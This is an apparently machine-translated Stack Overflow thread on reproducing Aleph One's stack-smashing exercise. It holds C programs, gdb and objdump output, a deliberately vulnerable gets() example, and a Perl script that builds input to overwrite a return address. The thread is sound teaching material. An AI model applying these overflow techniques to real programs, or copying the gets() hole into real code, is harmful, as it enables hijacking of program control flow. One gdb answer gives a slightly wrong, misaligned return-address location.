我正在尝试重现stackoverflow结果,我从Aleph One的文章“粉碎堆栈以获得乐趣和利润”中读到(可以在这里找到:http://insecure.org/stf/smashstack.html)。
尝试覆盖返回地址对我来说似乎不起作用。
C代码:
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
//Trying to overwrite return address
ret = buffer1 + 12;
(*ret) = 0x4005da;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
反汇编主:
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005b0 <+0>: push %rbp
0x00000000004005b1 <+1>: mov %rsp,%rbp
0x00000000004005b4 <+4>: sub $0x10,%rsp
0x00000000004005b8 <+8>: movl $0x0,-0x4(%rbp)
0x00000000004005bf <+15>: mov $0x3,%edx
0x00000000004005c4 <+20>: mov $0x2,%esi
0x00000000004005c9 <+25>: mov $0x1,%edi
0x00000000004005ce <+30>: callq 0x400564 <function>
0x00000000004005d3 <+35>: movl $0x1,-0x4(%rbp)
0x00000000004005da <+42>: mov -0x4(%rbp),%eax
0x00000000004005dd <+45>: mov %eax,%esi
0x00000000004005df <+47>: mov $0x4006dc,%edi
0x00000000004005e4 <+52>: mov $0x0,%eax
0x00000000004005e9 <+57>: callq 0x400450 <printf@plt>
0x00000000004005ee <+62>: leaveq
0x00000000004005ef <+63>: retq
End of assembler dump.
我已经硬编码了返回地址以跳过x = 1;代码行,我使用了反汇编程序的硬编码值(地址:0x4005da)。此漏洞的目的是打印0,而是打印1.
我有一种非常强烈的感觉,“ret = buffer1 + 12;”不是返回地址的地址。如果是这种情况,我如何确定返回地址,是gcc在返回地址和缓冲区之间分配更多内存。
答案 0 :(得分:4)
以下是我使用gets
为朋友写了一段时间来执行缓冲区溢出攻击的指南。它讨论了如何获取返回地址以及如何使用它来覆盖旧地址:
我们对堆栈的了解告诉我们,在您尝试溢出的缓冲区之后,返回地址会出现在堆栈中。但是,缓冲区返回地址后多久取决于您正在使用的体系结构。为了确定这一点,首先编写一个简单的程序并检查程序集:
C代码:
void function()
{
char buffer[4];
}
int main()
{
function();
}
汇编(删节):
function:
pushl %ebp
movl %esp, %ebp
subl $16, %esp
leave
ret
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
call function
...
您可以使用多种工具来检查汇编代码。首先,当然是 使用gcc -S main.c直接从gcc编译汇编输出。这可能很难阅读,因为对于什么代码对应于原始C代码几乎没有提示。此外,还有很多样板代码很难筛选出来。另一个需要考虑的工具是gdbtui。使用gdbtui的好处是可以在运行程序时检查程序集源,并在程序执行期间手动检查堆栈。但是,它有一个陡峭的学习曲线。
我最喜欢的装配检验计划是objdump。运行objdump -dS a.out
为程序集源提供原始C源代码的上下文。使用objdump,在我的计算机上,返回地址与字符缓冲区的偏移量为8个字节。
此函数function
获取返回地址并将其递增7。那个指令
最初指向的返回地址长度为7个字节,因此添加7会使返回地址指向赋值后的指令。
在下面的示例中,我覆盖了返回地址以跳过指令x = 1
。
简单的C程序:
void function()
{
char buffer[4];
/* return address is 8 bytes beyond the start of the buffer */
int *ret = buffer + 8;
/* assignment instruction we want to skip is 7 bytes long */
(*ret) += 7;
}
int main()
{
int x = 0;
function();
x = 1;
printf("%d\n",x);
}
主要功能(在80483af处x = 1是7个字节长):
8048392: 8d4c2404 lea 0x4(%esp),%ecx
8048396: 83e4f0 and $0xfffffff0,%esp
8048399: ff71fc pushl -0x4(%ecx)
804839c: 55 push %ebp
804839d: 89e5 mov %esp,%ebp
804839f: 51 push %ecx
80483a0: 83ec24 sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8 mov -0x8(%ebp),%eax
80483b9: 89442404 mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff call 80482d8 <printf@plt>
80483c9: 83c424 add $0x24,%esp
80483cc: 59 pop %ecx
80483cd: 5d pop %ebp
我们知道返回地址在哪里,我们已经证明改变它会影响到
运行的代码。缓冲区溢出可以通过使用gets
并输入正确的字符串来执行相同的操作,以便使用新地址覆盖返回地址。
在下面的一个新例子中,我们有一个函数function
,它有一个使用gets填充的缓冲区。我们还有一个永远不会被调用的函数uncalled
。使用正确的输入,我们可以运行uncalled。
#include <stdio.h>
#include <stdlib.h>
void uncalled()
{
puts("uh oh!");
exit(1);
}
void function()
{
char buffer[4];
gets(buffer);
}
int main()
{
function();
puts("program secure");
}
要运行uncalled
,请使用objdump
或类似内容检查可执行文件,以查找uncalled
的入口点的地址。然后将地址附加到正确位置的输入缓冲区,以便覆盖旧的返回地址。如果您的计算机是little-endian(x86等),则需要交换地址的字节顺序。
为了正确地执行此操作,我在下面有一个简单的perl脚本,它会生成将导致缓冲区溢出的输入,这将覆盖返回地址。它需要两个参数,第一个是新的返回地址,第二个是从缓冲区的开头到返回地址的距离(以字节为单位)。
#!/usr/bin/perl
print "x"x@ARGV[1]; # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n"; # new line to end gets
答案 1 :(得分:2)
您需要检查堆栈以确定buffer1+12
实际上是否是要修改的正确地址。这种东西并不是非常便携。
我可能还会在代码中放置一些引人注目的代码,这样您就可以看到堆栈中缓冲区与返回地址的关系:
char buffer1[5] = "1111";
char buffer2[10] = "2222";
答案 2 :(得分:1)
您可以通过打印堆栈来解决这个问题。添加如下代码:
int* pESP;
__asm mov pESP, esp
__asm指令是特定于Visual Studio的。获得堆栈的地址后,您可以将其打印出来并查看其中的内容。请注意,当您执行操作或进行调用时,堆栈将会更改,因此您必须先将堆栈地址的内存复制到阵列,然后打印出阵列,从而立即保存整个内存块。
你会发现与堆栈帧和各种运行时检查有关的各种垃圾。默认情况下,VS会将保护代码放入堆栈中,以防止您正在尝试执行的操作。如果打印出“功能”的汇编列表,您将看到这一点。你需要设置一个编译器开关来关闭所有这些东西。
答案 3 :(得分:0)
作为其他答案中建议的方法的替代方法,您可以使用gdb
来解决这类问题。为了使输出更容易读取,我删除了buffer2变量,并将buffer1更改为8个字节,以便更加一致。我们还将编译32位以上更容易读取地址,并打开调试(gcc -m32 -g)。
void function(int a, int b, int c) {
char buffer1[8];
char *ret;
所以让我们打印buffer1的地址:
(gdb) print &buffer1
$1 = (char (*)[8]) 0xbffffa40
然后让我们打印一下,看看堆栈上有什么。
(gdb) x/16x 0xbffffa40
0xbffffa40: 0x00001000 0x00000000 0xfecf25c3 0x00000003
0xbffffa50: 0x00000000 0xbffffb50 0xbffffa88 0x00001f3b
0xbffffa60: 0x00000001 0x00000002 0x00000003 0x00000000
0xbffffa70: 0x00000003 0x00000002 0x00000001 0x00001efc
执行回溯以查看返回地址应指向的位置:
(gdb) bt
#0 function (a=1, b=2, c=3) at foo.c:18
#1 0x00001f3b in main () at foo.c:26
果然,它位于0xbffffa5b:
(gdb) x/x 0xbffffa5b
0xbffffa5b: 0x001f3bbf